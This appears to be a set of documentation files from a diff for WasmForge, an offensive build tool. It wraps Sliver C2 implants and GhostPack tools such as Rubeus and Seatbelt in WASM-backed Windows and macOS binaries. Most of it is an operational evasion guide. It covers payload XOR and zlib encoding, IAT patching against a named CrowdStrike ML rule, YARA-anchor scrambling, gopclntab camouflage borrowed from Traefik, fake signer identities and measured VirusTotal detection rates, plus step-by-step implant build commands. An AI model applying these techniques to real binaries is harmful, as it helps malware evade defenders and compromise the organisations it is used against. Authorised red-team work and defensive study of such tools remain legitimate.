| `win32_set_file_attrs` | `SetFileAttributesW` |
| `win32_get_computer_name` | `GetComputerNameW` |
| `win32_create_process` | `CreateProcessW` |
| `win32_open_process` | `OpenProcess` |
| `win32_terminate_process` | `TerminateProcess` |
| `win32_open_process_token` | `OpenProcessToken` |
| `win32_get_token_info` | `GetTokenInformation` |
| `win32_open_sc_manager` | `OpenSCManagerW` |
| `win32_query_service_status` | `QueryServiceStatus` |
| `win32_virtual_alloc` | `VirtualAlloc` (host memory, returns handle) |
| `win32_virtual_protect` | `VirtualProtect` |
| `win32_virtual_free` | `VirtualFree` |
| `win32_hmem_write` | Copy bytes WASM → host memory |
| `win32_hmem_read` | Copy bytes host → WASM memory |
| `win32_hmem_write32` / `win32_hmem_write64` | Scalar write at offset |
| `win32_hmem_read32` / `win32_hmem_read64` | Scalar read at offset |
| `win32_hmem_addr` | Get real host address (for `SyscallN`) |
| `win32_ext_get_func` | Get native address of extension API callback |
| `win32_ext_read_output` | Read accumulated extension output |
| `win32_ext_reset_output` | Clear extension output buffer |
### macOS Framework APIs (auto-enabled on darwin targets)
| Function | Purpose |
|----------|---------|
| `fw_available` | Check if darwin framework APIs are enabled |
| `fw_load` | Load framework / dylib via `dlopen` (returns handle) |
| `fw_sym` | Resolve symbol via `dlsym` (returns handle) |
| `fw_call` | Call function pointer with WASM → host pointer translation |
| `fw_call_raw` | Call function pointer without pointer translation |
| `fw_mem_r` | Read host memory into WASM linear memory |
| `fw_mem_w` | Write WASM data to host memory |
## WASM Embedding and AV Evasion
The WASM module is XOR-encoded before embedding to eliminate magic bytes,
string patterns, and tool signatures from static analysis. The full
default recipe ("R80") combines chunked payload distribution, IAT
patching, Go runtime marker scrambling, zlib compression, debug-symbol
stripping, PE header normalization, and Traefik-style ghost profiling.
Every transform has an environment-variable kill switch — see
[`docs/ENVIRONMENT.md`](ENVIRONMENT.md) for the full matrix.
The core mechanisms:
1. **XOR encoding** (`embedder.go`). `SHA256(wasm_plaintext)` produces a
32-byte key. The WASM data is XOR'd with this key. The key is appended
as a trailer. The runtime reads the trailer, XOR-decodes the payload,
and passes the result to wazero.
2. **PE hardening** (`winres.go`). Windows targets automatically get
VERSIONINFO resources and an application manifest. Defaults are
neutral (no "WasmForge" strings); custom values can be set via
`--pe-company`, `--pe-product`, `--pe-description`, etc.
3. **Identifier hygiene.** All host-side function names use neutral
terminology (`extCallbackState`, `nativeSprintf`, `readNativeString`)
to avoid signature matches in gopclntab. Guest-side identifiers are
inside the XOR-encoded WASM blob and are not visible in static
strings.
4. **Debug info preserved.** WasmForge intentionally does NOT strip with
`-s -w`. Stripped Go binaries lack metadata that ML classifiers
associate with legitimate software, which raises false-positive rates.
Keep this in mind if you are tempted to add stripping to the embedder.
5. **Per-build randomization.** Custom WASM opcodes, magic bytes, section
IDs, and the bundled wazero fork's identifiers are randomized per
build. Two consecutive builds of the same source produce structurally
distinct binaries.
## Extension API Callbacks
For COFF/BOF loading, object files need to call host functions at native
speed. The extension API (`win32_windows_ext.go`) creates native function
pointers via `windows.NewCallback`:
| ID | Function | Signature |
|----|----------|-----------|
| 0 | Output | `(type, data*, len) → ok` |
| 1 | Printf | `(type, fmt*, args...) → 0` |
| 2 | DataParse | `(parser*, buf*, size) → ok` |
| 3 | DataInt | `(parser*) → uint32` |
| 4 | DataShort | `(parser*) → uint16` |
| 5 | DataLength | `(parser*) → remaining` |
| 6 | DataExtract | `(parser*, outSize*) → ptr` |
| 7 | AddValue | `(key*, ptr) → ok` |
| 8 | GetValue | `(key*) → ptr` |
| 9 | RemoveValue | `(key*) → existed` |
Guest code calls `win32.ExtGetFunc(id)` to get the native address, then
writes it into the loaded object file's GOT. The `nativeSprintf`
implementation handles `%s` (ANSI), `%S` and `%ls` (wide), `%p`, and
integer specifiers (`%d`, `%u`, `%x`, `%X`, `%o`, `%c`, with `l` and `ll`
modifiers).
## Further Reading
- [`README.md`](../README.md) — pitch and quickstart
- [`CONTRIBUTING.md`](../CONTRIBUTING.md) — contributor workflow
- [`docs/ENVIRONMENT.md`](ENVIRONMENT.md) — every `WASMFORGE_*` env var
- [`docs/GHOST-PROFILES.md`](GHOST-PROFILES.md) — gopclntab camouflage
- [`docs/CSHARP.md`](CSHARP.md) — Docker-based C# build pipeline
- [`docs/MACOS.md`](MACOS.md) — macOS-specific notes
- [`docs/BUILDING-SLIVER.md`](BUILDING-SLIVER.md) — end-to-end Sliver build walkthrough
- [`docs/internals/AST-PATCHER.md`](internals/AST-PATCHER.md) — C# AST patcher internals
- [`docs/internals/PARITY-HARNESS.md`](internals/PARITY-HARNESS.md) — native-vs-WasmForge parity harness
- [`docs/internals/HOST-API-CONTRACT.md`](internals/HOST-API-CONTRACT.md) — the host module's public ABI contract
+102
View File
@@ -0,0 +1,102 @@
# Building Sliver with WasmForge
WasmForge can compile [Sliver](https://github.com/BishopFox/sliver) C2 implants for both Windows and macOS. Sliver generates platform-specific implant source code, so you must generate the source targeting the correct OS from a Sliver server.
## Prerequisites
Download a Sliver server and client for your build host from the [Sliver releases page](https://github.com/BishopFox/sliver/releases):
```bash
# macOS ARM build host example (adjust for your platform)
curl -L -o /tmp/sliver-server \
https://github.com/BishopFox/sliver/releases/download/v1.7.3/sliver-server_darwin-arm64
curl -L -o /tmp/sliver-client \
https://github.com/BishopFox/sliver/releases/download/v1.7.3/sliver-client_macos-arm64
chmod +x /tmp/sliver-server /tmp/sliver-client
```
## Step 1: Start the Sliver Server
```bash
# First-time setup: unpack assets
/tmp/sliver-server unpack --force
# Start the daemon
/tmp/sliver-server daemon &
# Create an operator config and import it into the client
/tmp/sliver-server operator --name localtest --lhost 127.0.0.1 --permissions all --save /tmp/localtest.cfg
/tmp/sliver-client import /tmp/localtest.cfg
```
## Step 2: Generate Implant Source
Connect to the server and generate an implant. Sliver saves the source code to `~/.sliver/slivers/{os}/{arch}/{NAME}/src/`.
```bash
# Start an HTTPS listener (if not already running)
# Then generate the implant from inside the Sliver client:
# For Windows:
# generate --os windows --arch amd64 --http https://YOUR_C2_SERVER:8443 --save /tmp/sliver-win --skip-symbols
# For macOS:
# generate --os darwin --arch amd64 --http https://YOUR_C2_SERVER:8443 --save /tmp/sliver-mac --skip-symbols
# For session mode (interactive, supports SOCKS5 proxy):
# generate session --os darwin --arch amd64 --http https://YOUR_C2_SERVER:8443 --save /tmp/sliver-session --skip-symbols
```
Copy the generated source to a working directory:
```bash
# Find the generated source (NAME is shown in Sliver's output)
cp -r ~/.sliver/slivers/darwin/amd64/IMPLANT_NAME/src /tmp/sliver-darwin-src
# or for Windows:
cp -r ~/.sliver/slivers/windows/amd64/IMPLANT_NAME/src /tmp/sliver-win-src
```
## Step 3: Build with WasmForge
```bash
# Build wasmforge
GOWORK=off go build -o /tmp/wasmforge-bin ./cmd/wasmforge
# Windows target (--ghost traefik recommended for lowest VT detection)
GOWORK=off GOOS=windows GOARCH=amd64 /tmp/wasmforge-bin build \
--ghost traefik \
--win32-apis \
-v \
-o /tmp/sliver-implant.exe \
/tmp/sliver-win-src/
# macOS target (no flag needed — auto-detected)
GOWORK=off GOOS=darwin GOARCH=amd64 /tmp/wasmforge-bin build \
-v \
-o /tmp/sliver-implant \
/tmp/sliver-darwin-src/
```
## Important Notes
- **Platform-specific source.** Windows and macOS Sliver sources are NOT interchangeable. Windows `runner.go` references `handlers.WrapperHandler` (token impersonation) which only exists in `handlers_windows.go`. Always generate source targeting the correct OS.
- **Beacon vs Session.** Beacons check in periodically (tasks are queued). Sessions are interactive and support SOCKS5 proxying. Choose based on your use case.
- **`--skip-symbols`.** Recommended to reduce compile time. Sliver's symbol obfuscation adds significant build time and isn't needed since WasmForge already provides its own obfuscation layers.
- **`--tags`.** Use for programs that gate features behind build tags (e.g., [Tribunus](https://github.com/praetorian-inc/tribunus) uses `-tags "shell,ps,netstat"` to enable specific command handlers).
- **Binary sizes.** ~34.5MB (Windows), ~29.7MB (macOS), ~12.9MB ([Tribunus](https://github.com/praetorian-inc/tribunus)).
## Verified Commands
| Platform | C2 | Mode | Commands Tested |
| -------- | ------------------------------------------------------ | ------- | ------------------------------------------------------------------------------------------------ |
| Windows | Sliver | Beacon | `whoami`, `ls`, `pwd`, `execute`, `info`, `getprivs`, `ps`, `netstat`, `ifconfig`, `execute-assembly` (Rubeus, Seatbelt) |
| macOS | Sliver | Beacon | `pwd`, `ls`, `download`, `mkdir`, `execute` |
| macOS | Sliver | Session | `pwd`, `ls`, `download`, `mkdir`, `execute`, SOCKS5 proxy |
| Windows | [Tribunus](https://github.com/praetorian-inc/tribunus) (Mythic) | Agent | `shell` (whoami, dir, ipconfig, hostname, echo, ver), `whoami`, `ps`, `netstat` |
## Related Documentation
- [Main README](../README.md) — quick start and feature overview
- [GHOST-PROFILES.md](./GHOST-PROFILES.md) — anti-detection profiling (recommended for Windows targets)
- [MACOS.md](./MACOS.md) — macOS framework bridge details
- [CSHARP.md](./CSHARP.md) — compiling Rubeus / Seatbelt for `execute-assembly`
+120
View File
@@ -0,0 +1,120 @@
# Compiling C# / .NET Projects
WasmForge compiles .NET C# projects through the NativeAOT-WASI toolchain, producing standalone Windows PE binaries that run .NET code inside WASM — no .NET runtime required on the target.
WasmForge auto-detects C# projects (`.csproj` files) and handles migration, patching, and building automatically.
## Quick Start
```bash
# Migrate and build a .NET Framework project (e.g., GhostPack tools)
git clone https://github.com/GhostPack/Seatbelt.git
GOOS=windows GOARCH=amd64 ./wasmforge build --win32-apis -o seatbelt.exe Seatbelt/Seatbelt/
```
That single command runs the full pipeline (migrate → patch → WASM compile → PE forge → sign).
## Step-by-Step (Advanced)
If you want to inspect or customize intermediate steps:
```bash
# Step 1: Convert .NET Framework → .NET 10 NativeAOT-WASI project structure
./wasmforge dotnet-migrate Seatbelt/Seatbelt/
# Step 2: Apply NativeAOT-WASI compatibility patches (bridge files, helpers, stubs, source patches)
./wasmforge dotnet-patch Seatbelt/Seatbelt/
# Step 3: Build the WASM yourself (or skip and let `wasmforge build` do it)
cd Seatbelt/Seatbelt && dotnet publish -c Release -r wasi-wasm
# Step 4: Forge the PE from a pre-built WASM
GOOS=windows GOARCH=amd64 ./wasmforge build \
--wasm /path/to/App.wasm \
--nativeaot \
--win32-apis \
-o app.exe
```
## Build Prerequisites
If you build directly on the host (not recommended — see Docker workflow below), you need:
- .NET 10 SDK with NativeAOT-LLVM workload
- WASI SDK 24.0 (`WASI_SDK_PATH` environment variable set)
- `wasm-ld` linker (included in WASI SDK)
## Docker Build Environment (Recommended)
The Docker image bundles every C# build prerequisite — no host setup required. This is the preferred workflow for `.NET` projects and is the only path that's been validated across multiple machines.
```bash
# One-time: build the image
make docker-build
# Build a project (output lands in ./out/<project>.exe)
make docker-run DOCKER_SRC=/path/to/seatbelt-fresh DOCKER_PROJECT=seatbelt
# Or use docker run directly
docker run --rm \
-v "$PWD:/wasmforge:ro" \
-v "/path/to/seatbelt-fresh:/src:ro" \
-v "$PWD/out:/out" \
wasmforge/build:latest seatbelt
```
### What the Docker Image Does
- Mounts the wasmforge source tree at `/wasmforge` (read-only) and rebuilds wasmforge from it on every run, so your local edits are always used
- Mounts the target .NET project at `/src` and stages it to `/work/project` inside the container before patching
- Automatically syncs canonical `dotnet/bridge/*.c`, `dotnet/helpers/*.cs`, and `dotnet/stubs/System.Management/Stubs.cs` over the project's copies before patching — eliminating bridge/helper drift between machines
- Runs `wasmforge dotnet-patch` (auto-generates `Properties/WfDirectPInvoke.props`)
- Runs `dotnet publish -c Release -r wasi-wasm` to produce the WASM module
- Runs `wasmforge build --nativeaot --win32-apis` to forge the Windows PE
The image includes a `wasm-component-ld` wrapper that bypasses WASI Preview 2 component encoding (which would otherwise reject our raw `env.*` imports) and links pre-built pthread stubs for `libPortableRuntime.a`'s thread primitives.
Builds are reproducible from any host with Docker — no sync between machines needed.
## How the Pipeline Works
The `dotnet-migrate` and `dotnet-patch` commands together:
- Convert old-style `.csproj` to SDK-style `.NET 10` with `NativeAOT-LLVM`
- Inject WasmForge bridge files (C bridge for P/Invoke, C# helpers for LSA, crypto, networking)
- Add stub assemblies for unavailable namespaces (`DirectoryServices`, `IdentityModel.Tokens`, `CERTENROLLLib`, etc.)
- Apply 20+ C# source patches for NativeAOT-WASI compatibility
- Generate `nuget.config` pointing at the `NativeAOT-LLVM` experimental feed
- Emit `Properties/WfDirectPInvoke.props` for link-time DirectPInvoke wiring
The final binary is a single Windows PE that bundles the WASM module and runs the .NET program inside the WasmForge sandbox.
## Validated .NET Tools
WasmForge has been used to port substantial real-world C# tools to NativeAOT-WASI:
| Tool | Commands Working | Notes |
| ------------- | ---------------- | ------------------------------------------------- |
| **Seatbelt** | 34/37 | Security enumeration — full pipeline PE |
| **Rubeus** | 9/10 | Kerberos: hash, asktgt, klist, triage, dump, purge|
| **SharpUp** | Runs | Privilege escalation checks |
| **SharpDPAPI**| Partial | DPAPI triage (path normalization pending) |
| **Certify** | Starts | AD CS tool (CommandLineParser reflection trimmed) |
## Writing New C# Capabilities
If you're authoring new C# code targeting the NativeAOT-WASI bridge (rather than porting an existing project), there are several patterns you must follow to avoid runtime crashes — see the in-tree skill at `.claude/skill-library/redteam/building-wasmforge-csharp-capabilities/SKILL.md` for the full rule set, including:
- Never use raw `[DllImport]` — go through the `WfHostBridge.Invoke` bridge
- Use `WfHost.HostAlloc` for OUT buffers that receive host pointers
- BCL replacements for trim-incompatible classes (e.g., `WindowsIdentity`, `ManagementObjectSearcher`)
- Two-call size-probe pattern for variable-length structs
- BOOL vs NTSTATUS vs LSTATUS return-code discipline
- NativeAOT trim preservation via `WfPreserve.rd.xml`
## Related Documentation
- [Main README](../README.md) — quick start and feature overview
- [GHOST-PROFILES.md](./GHOST-PROFILES.md) — anti-detection profiling for .NET PE outputs
- [MACOS.md](./MACOS.md) — Apple targets and macOS framework bridge
- [PARITY-HARNESS.md](./PARITY-HARNESS.md) — how we validate C# output parity against native binaries
+340
View File
@@ -0,0 +1,340 @@
# Environment Variables
`wasmforge build` reads a number of `WASMFORGE_*` environment variables to
override defaults and toggle individual stealth transforms. The default
**R80 recipe** sets several of these automatically — most users never need
to touch any of them.
This page documents every variable, grouped by purpose. Each entry lists
the **read site** (file:line) so behaviour can be cross-checked against the
source.
## Quick reference
| Use case | Set |
|---|---|
| Disable every stealth transform (pure debug build) | `WASMFORGE_RAW_BUILD=1` |
| Keep build temp directories for inspection | `WASMFORGE_KEEP_DIR=1` |
| Force a specific signer subject across a batch | `WASMFORGE_FIXED_SIGNER="GitLab Inc."` |
| Force a specific per-build package name | `WASMFORGE_FIXED_RUNTIME_PKG=engine` |
| Run with verbose host-side WASM tracing | `WASMFORGE_VERBOSE=1` |
## Master toggle
### `WASMFORGE_RAW_BUILD`
- **Default**: unset → R80 stealth defaults apply.
- **Effect**: when set to `1`, `applyR80Defaults` returns early and no
`WASMFORGE_*` defaults are written. Use for debug / dev builds where
reproducibility and inspectability matter more than evasion.
- **Read by**: `internal/build/pipeline.go:375`.
## The R80 recipe
When `WASMFORGE_RAW_BUILD` is **unset**, `wasmforge build` enables the
proven-clean R80 stealth recipe by setting the following variables, but
only when the user has not already exported a value:
| Variable | R80 value | Effect |
|---|---|---|
| `WASMFORGE_CHUNK_PAYLOAD` | `1` | Split PE payload across multiple debug sections to keep per-section entropy below 7.0. |
| `WASMFORGE_EMBED_COMPRESS` | `1` | zlib-compress the WASM payload before XOR encoding to shrink `.rdata` footprint. |
| `WASMFORGE_PATCH_IAT_RE27` | `1` | Strip `GetThreadContext`/`SetThreadContext` from the static IAT and resolve them at runtime instead (defeats CrowdStrike on-sensor ML rule Re27). |
| `WASMFORGE_SCRAMBLE_GO_MARKERS` | `1` | Randomise the `\xff Go build ID:` / `\xff Go buildinf:` byte markers that YARA rules anchor on. |
| `WASMFORGE_STRIP` | `1` | Pass `-ldflags "-s -w"` to `go build` to strip the symbol table + DWARF info. |
| `WASMFORGE_PE_NORMALIZE` | `1` | Run `normalizeGoPEHeaders` against the produced PE. |
| `WASMFORGE_NO_ENRICH` | `1` | Skip PE import enrichment (R80 builds use minimal imports). |
| `WASMFORGE_NO_NATIVEAOT_HOST` | `1` (or `0` for `--nativeaot`) | Exclude NativeAOT-only host functions from Go builds; force-included for NativeAOT-WASI builds. |
The R80 recipe also sets `--ghost traefik` when no ghost profile was
chosen on the CLI.
All defaults are applied in `internal/build/pipeline.go:374` (`applyR80Defaults`).
Override any single transform by exporting it explicitly, e.g.
`WASMFORGE_STRIP=0`.
## Payload distribution and encoding
### `WASMFORGE_CHUNK_PAYLOAD`
- **Default**: `1` under R80.
- **Effect**: when `1` and targeting Windows, distribute the encoded WASM
payload across multiple debug sections (`.zdebug_*`) so each section
stays under entropy 7.0. Falls back to a single section on failure.
- **Read by**: `internal/build/embedder.go:378`, `internal/build/pipeline.go:283`.
### `WASMFORGE_EMBED_COMPRESS`
- **Default**: `1` under R80.
- **Effect**: zlib-compress the WASM payload before XOR encoding. Reduces
`.rdata` size by ~79 % and removes the WASM magic byte sequence from
any byte scanner. Runtime reverses the order (XOR decode → zlib
decompress).
- **Read by**: `internal/build/embedder.go:394`.
### `WASMFORGE_PAYLOAD_XORSHIFT`
- **Default**: unset.
- **Effect**: replace the 32-byte rotating XOR with an `xorshift64`
keystream seeded from `PayloadKey`. Defeats cyclic-XOR pattern matching.
- **Read by**: `internal/build/embedder.go:409`, `internal/build/embedder.go:541`,
`internal/build/polymorph.go:1262`.
### `WASMFORGE_EMBED_PAYLOAD`
- **Default**: unset.
- **Effect**: when set to `1`, force the WASM payload to be embedded via
`//go:embed` even when targeting Windows. Default Windows behaviour is
to defer-inject into a PE section.
- **Read by**: `internal/build/embedder.go:376`.
### `WASMFORGE_SKIP_DISTRIBUTE`
- **Default**: unset.
- **Effect**: force single-section payload mode even when chunked
distribution succeeds. Useful for debugging the post-injection path.
- **Read by**: `internal/build/pipeline.go:295`.
## PE / Go binary scrubbing
### `WASMFORGE_PATCH_IAT_RE27`
- **Default**: `1` under R80.
- **Effect**: when set, the host build patches `runtime/os_windows.go` so
`GetThreadContext` / `SetThreadContext` are resolved dynamically via
`LoadLibrary` + `GetProcAddress` instead of being baked into the
static import address table. Targets CrowdStrike on-sensor ML rule
importance #25 ("Re27").
- **Read by**: `internal/build/embedder.go:1082`.
### `WASMFORGE_SCRAMBLE_GO_MARKERS`
- **Default**: `1` under R80.
- **Effect**: rewrite the `\xff Go build ID:` and `\xff Go buildinf:`
byte sequences in the final binary so YARA-style anchors stop matching.
- **Read by**: `internal/build/pipeline.go:246`.
### `WASMFORGE_STRIP`
- **Default**: `1` under R80.
- **Effect**: pass `-ldflags "-s -w"` to `go build` for the host binary,
removing the symbol table and DWARF debug info. Reduces gopclntab
leakage of suspicious API names.
- **Read by**: `internal/build/embedder.go:476`.
### `WASMFORGE_PE_NORMALIZE`
- **Default**: `1` under R80.
- **Effect**: run `normalizeGoPEHeaders` against the produced PE during
post-processing.
- **Read by**: `internal/build/pe_postprocess.go:83`.
### `WASMFORGE_NO_ENRICH`
- **Default**: `1` under R80.
- **Effect**: when `1`, skip PE import enrichment entirely. The host
binary keeps only the imports the Go compiler emitted. Lowers
Symantec ML.Attribute.HighConfidence detection in VT testing.
- **Read by**: `internal/build/pe_postprocess.go:39`.
### `WASMFORGE_RSRC`
- **Default**: unset.
- **Effect**: when set to `1`, generate Windows VERSIONINFO + manifest
resources for the host binary. Default behaviour (no resources) lowered
Avira/AVG/Bkav detection from 60 %+ to under 3 % in VT testing.
- **Read by**: `internal/build/embedder.go:461`.
### `WASMFORGE_GCFLAGS`
- **Default**: unset → standard Go optimisations.
- **Effect**: forwarded to `go build` as `-gcflags=all=<value>`. Use to
experiment with `-N` (disable optimisation) or other gcflag knobs.
- **Read by**: `internal/build/embedder.go:483`.
## Host source transforms
The host transformer (`internal/build/host_transform.go`) runs a series
of polymorphism phases against the host module sources. Each phase has
its own `WASMFORGE_NO_*` opt-out. All phases are **on by default**; set
the variable to any non-empty string to disable.
### `WASMFORGE_NO_HOST_TRANSFORM`
- **Default**: unset → host transforms run.
- **Effect**: skip wazero/host source rewriting entirely (Phase 0 — import
path neutralisation and downstream rewrites).
- **Read by**: `internal/build/embedder.go:152` (+ 247, 273, 296).
### `WASMFORGE_NO_CHAIN_SPLIT`
- **Default**: unset.
- **Effect**: skip the registration-chain splitter. Set automatically when
using NativeAOT to avoid a known boundary-counting regression on chains
longer than ~45 entries.
- **Read by**: `internal/build/host_transform.go:126`,
`internal/build/embedder.go:87`.
### `WASMFORGE_NO_STRUCT_REORDER`
- **Default**: unset.
- **Effect**: skip Phase 9 struct field reordering against host source
packages.
- **Read by**: `internal/build/host_transform.go:136` (+ 2949).
### `WASMFORGE_NO_OPAQUE`
- **Default**: unset.
- **Effect**: skip Phase 10 opaque-predicate insertion (always-true
branches that vary control-flow graph).
- **Read by**: `internal/build/host_transform.go:162` (+ 2957).
### `WASMFORGE_NO_CODEXFORM`
- **Default**: unset.
- **Effect**: skip Phase 11 source-level AST transforms (branch flipping,
loop inversion, temp extraction).
- **Read by**: `internal/build/host_transform.go:172` (+ 2970).
### `WASMFORGE_NO_REORDER`
- **Default**: unset.
- **Effect**: skip Phase 5 function reordering.
- **Read by**: `internal/build/host_transform.go:195`.
### `WASMFORGE_NO_DEADCODE`
- **Default**: unset → dead-code injection runs.
- **Effect**: when set to **any** non-empty value, skip Phase 6
dead-code injection. (Note: the polarity here is inverted from the
other `NO_*` variables — empty string means "inject", any value means
"skip".)
- **Read by**: `internal/build/host_transform.go:204`.
### `WASMFORGE_NO_NATIVEAOT_HOST`
- **Default**: `1` under R80 for Go builds; `0` under R80 for NativeAOT
builds.
- **Effect**: when `1`, exclude files behind `//go:build nativeaot` build
tags during host generation (WMI / SDDL / LSA / RPC bridges). Forced
off when `--wasm` is passed or a C# project is detected.
- **Read by**: `internal/build/embedder.go:652`.
### `WASMFORGE_WAZERO_STRUCT_REORDER`
- **Default**: unset → off.
- **Effect**: opt-in. Apply Phase 9 struct field reordering to the
bundled wazero source tree. Off by default because wazero uses
reflection (`wazero/internal/wasm/gofunc.go`) that depends on field
declaration order.
- **Read by**: `internal/build/host_transform.go:2948`.
### `WASMFORGE_WAZERO_CODEXFORM`
- **Default**: unset → off.
- **Effect**: opt-in. Apply Phase 11 source-level AST transforms to the
bundled wazero source tree. Off by default because branch flips and
loop inversion can alter decoder semantics that wazero relies on.
- **Read by**: `internal/build/host_transform.go:2969`.
## Polymorphism / per-build overrides
These variables pin a per-build random choice to a fixed value. Useful
when running batch experiments where you want every output to share one
attribute while everything else varies.
### `WASMFORGE_FIXED_SIGNER`
- **Default**: unset → random pick from the company pool.
- **Effect**: override the Authenticode self-signed certificate subject.
Pass any string (e.g. `"GitLab Inc."`).
- **Read by**: `internal/build/codesign.go:183`.
### `WASMFORGE_FIXED_HOSTMOD_PKG`
- **Default**: unset → derived from the active ghost profile.
- **Effect**: pin the per-build package name used for the hostmod
internal package.
- **Read by**: `internal/build/polymorph.go:397`.
### `WASMFORGE_FIXED_RUNTIME_PKG`
- **Default**: unset.
- **Effect**: pin the per-build package name used for the runtime
internal package.
- **Read by**: `internal/build/polymorph.go:393`.
### `WASMFORGE_FIXED_NAMES_PKG`
- **Default**: unset.
- **Effect**: pin the per-build package name used for the host-export
names package.
- **Read by**: `internal/build/polymorph.go:401`.
### `WASMFORGE_VARIANT`
- **Default**: unset → random value in `[0, 5)`.
- **Effect**: force the WASM decode-loop variant to a specific value
(`0``4`). Useful when reproducing a runtime crash tied to one variant.
- **Read by**: `internal/build/polymorph.go:511`.
### `WASMFORGE_WORDLIST`
- **Default**: unset → built-in word list.
- **Effect**: path to a custom word list used by the package-name
generator. File format: prefixes (one per line), blank line, suffixes
(one per line).
- **Read by**: `internal/build/wordlist.go:250`.
## Diagnostics and debug
### `WASMFORGE_KEEP_DIR`
- **Default**: unset → temp build directories are removed on exit.
- **Effect**: when set to any non-empty value, the top-level build temp
directory is retained and its path is printed to stderr.
- **Read by**: `internal/build/pipeline.go:153`.
### `WASMFORGE_KEEP_HOST`
- **Default**: unset → host build directory is removed.
- **Effect**: retain the generated host source / build tree for
inspection (`host-build-*`).
- **Read by**: `internal/build/embedder.go:105`.
### `WASMFORGE_KEEP_GOROOT`
- **Default**: unset → host GOROOT overlay is cleaned up after build.
- **Effect**: when set, the per-build host GOROOT overlay is retained.
- **Read by**: `internal/build/embedder.go:512`.
### `WASMFORGE_VERBOSE`
- **Default**: unset → runtime tracing is off.
- **Effect**: when set to `1`, the embedded wasmforge runtime emits
per-syscall trace lines to stderr (`[wasmforge] SyscallN: ...`). Used
with `internal/devtools/audit-ptrmasks` to diagnose missing pointer
masks.
- **Read by**: `internal/runtime/runtime.go:43`.
### `WASMFORGE_DEBUG`
- **Default**: unset.
- **Effect**: enables verbose network I/O logging from
`internal/hostmod/io.go`. Set to any non-empty value.
- **Read by**: `internal/hostmod/io.go:12`.
### `WASMFORGE_DEBUG_PKGS`
- **Default**: unset.
- **Effect**: when set, dump the chosen per-build package name set to
stderr at the start of the polymorph stage. Useful for diagnosing name
collisions across packages.
- **Read by**: `internal/build/polymorph.go:730`.
## See also
- `cmd/wasmforge/main.go` — the CLI flags (`--ghost`, `--target`,
`--win32-apis`, `--sign`, etc.) that drive the higher-level recipes.
- `internal/build/pipeline.go:374``applyR80Defaults` — the source of
truth for which variables R80 enables.
+74
View File
@@ -0,0 +1,74 @@
# Ghost Binary Profiling
Ghost profiling replaces WasmForge's `gopclntab` function, type, and package names with names harvested from real enterprise Go binaries. ML classifiers that analyze `gopclntab` string patterns see function distributions identical to known-good software (Traefik, Caddy, Terraform) instead of synthetic random names.
## Embedded Profiles
WasmForge ships with three profiles built in:
| Profile | Symbols | Packages | Source |
| ------------ | ------- | -------- | ------------------------------------------------------------------------- |
| `traefik` | 154,681 | 3,083 | [Traefik](https://github.com/traefik/traefik) reverse proxy |
| `terraform` | 91,253 | 1,392 | [Terraform](https://github.com/hashicorp/terraform) IaC tool |
| `caddy` | 42,423 | 749 | [Caddy](https://github.com/caddyserver/caddy) web server |
`traefik` is recommended for the lowest VirusTotal detection rates because of its symbol density and package breadth.
## Usage
```bash
# Use Traefik's gopclntab profile (recommended)
wasmforge build --ghost traefik --win32-apis -o app.exe ./myproject
# Use Caddy or Terraform profiles
wasmforge build --ghost caddy --win32-apis -o app.exe ./myproject
wasmforge build --ghost terraform --win32-apis -o app.exe ./myproject
# Random profile per build (default when --ghost is omitted)
wasmforge build --win32-apis -o app.exe ./myproject
```
## What Ghost Profiling Affects
When `--ghost <name>` is set, the profile drives:
- Module name and import paths
- Package paths in `gopclntab`
- Function, method, and type names in `gopclntab`
- Dead code package content (filler packages added for symbol density)
- All polymorphic identifier renames
The wazero fork identity scrubbing, WASM opcode permutation, and PE hardening are independent build-time layers and are always active regardless of profile choice.
## Generating Custom Profiles
You can build a profile from any Go binary you have access to:
```bash
go run ./cmd/gen-ghost-profile \
-binary /path/to/any-go-binary \
-name myprofile \
-out internal/build/ghost_profiles/
```
The tool extracts `gopclntab` symbols, normalizes package/function/type names, deduplicates, and writes a profile file that gets embedded into the wasmforge binary on the next build.
After generating a profile, rebuild wasmforge:
```bash
go build -o wasmforge ./cmd/wasmforge
./wasmforge build --ghost myprofile --win32-apis -o app.exe ./myproject
```
## Choosing a Profile
- **Highest evasion (Windows targets):** `traefik` — large symbol set, broad package distribution, mirrors a real enterprise reverse-proxy binary
- **Smaller payload influence:** `caddy` — fewer symbols, smaller fingerprint
- **Cloud / DevOps cover:** `terraform` — useful when the deployment context is a developer or DevOps workstation
- **Custom cover identity:** generate a profile from a binary that fits the target environment (e.g., a vendor-specific tool already deployed on the target host)
## Related Documentation
- [Main README](../README.md) — quick start and feature overview
- [CSHARP.md](./CSHARP.md) — .NET / C# project compilation
- [MACOS.md](./MACOS.md) — macOS framework bridge and Apple targets
+102
View File
@@ -0,0 +1,102 @@
# Compiling for macOS (Apple Targets)
WasmForge fully supports macOS targets. Unlike Windows (which requires `--win32-apis`), the macOS framework bridge is auto-enabled when `GOOS=darwin` is set — no extra flags required.
## Quick Start
```bash
# Build wasmforge
go build -o wasmforge ./cmd/wasmforge
# Compile a Go project for macOS (Intel)
GOOS=darwin GOARCH=amd64 ./wasmforge build -o myapp /path/to/project
# Compile a Go project for macOS (Apple Silicon)
GOOS=darwin GOARCH=arm64 ./wasmforge build -o myapp /path/to/project
# Build and run in one step
GOOS=darwin GOARCH=amd64 ./wasmforge run /path/to/project
```
Output is a single Mach-O binary with the WASM payload embedded — no external dependencies, no .NET/Go runtime required on the target.
## macOS Framework Bridge
Full macOS framework access from WASM guests via `dlopen` / `dlsym`. Load any framework (Security, CoreGraphics, IOKit, etc.) and call its functions with automatic WASM-to-host pointer translation.
```go
import "github.com/praetorian-inc/wasmforge/guest/darwin"
fw, _ := darwin.LoadFramework("Security")
sym, _ := fw.GetSymbol("SecItemCopyMatching")
r, _ := sym.Call(queryDict, resultRef)
```
The darwin gateway is structurally identical to Win32's `SyscallN` bridge but dramatically simpler — no shadow memory, no COM mirroring. Just pointer translation plus `syscall.SyscallN`. Assembly trampolines (`ccall9`) handle SysV AMD64 ABI calling convention for C function pointers returned by `dlsym`. No CGO required.
## Purego / ObjC Sysshim
Go programs using [`ebitengine/purego`](https://github.com/ebitengine/purego) for native function calls and `purego/objc` for Objective-C runtime interaction compile transparently. WasmForge auto-detects `purego` in the guest's `go.mod` and injects a sysshim that routes everything through the darwin bridge.
**Core purego support:**
- `Dlopen`, `Dlsym`, `SyscallN`, `RegisterFunc`, `NewCallback` — all implemented via the darwin host functions
**Objective-C runtime support:**
- `GetClass`, `RegisterName`, `Send[T]`, `RegisterClass`, `NewIMP`, `NewBlock` — full Objective-C messaging and class registration
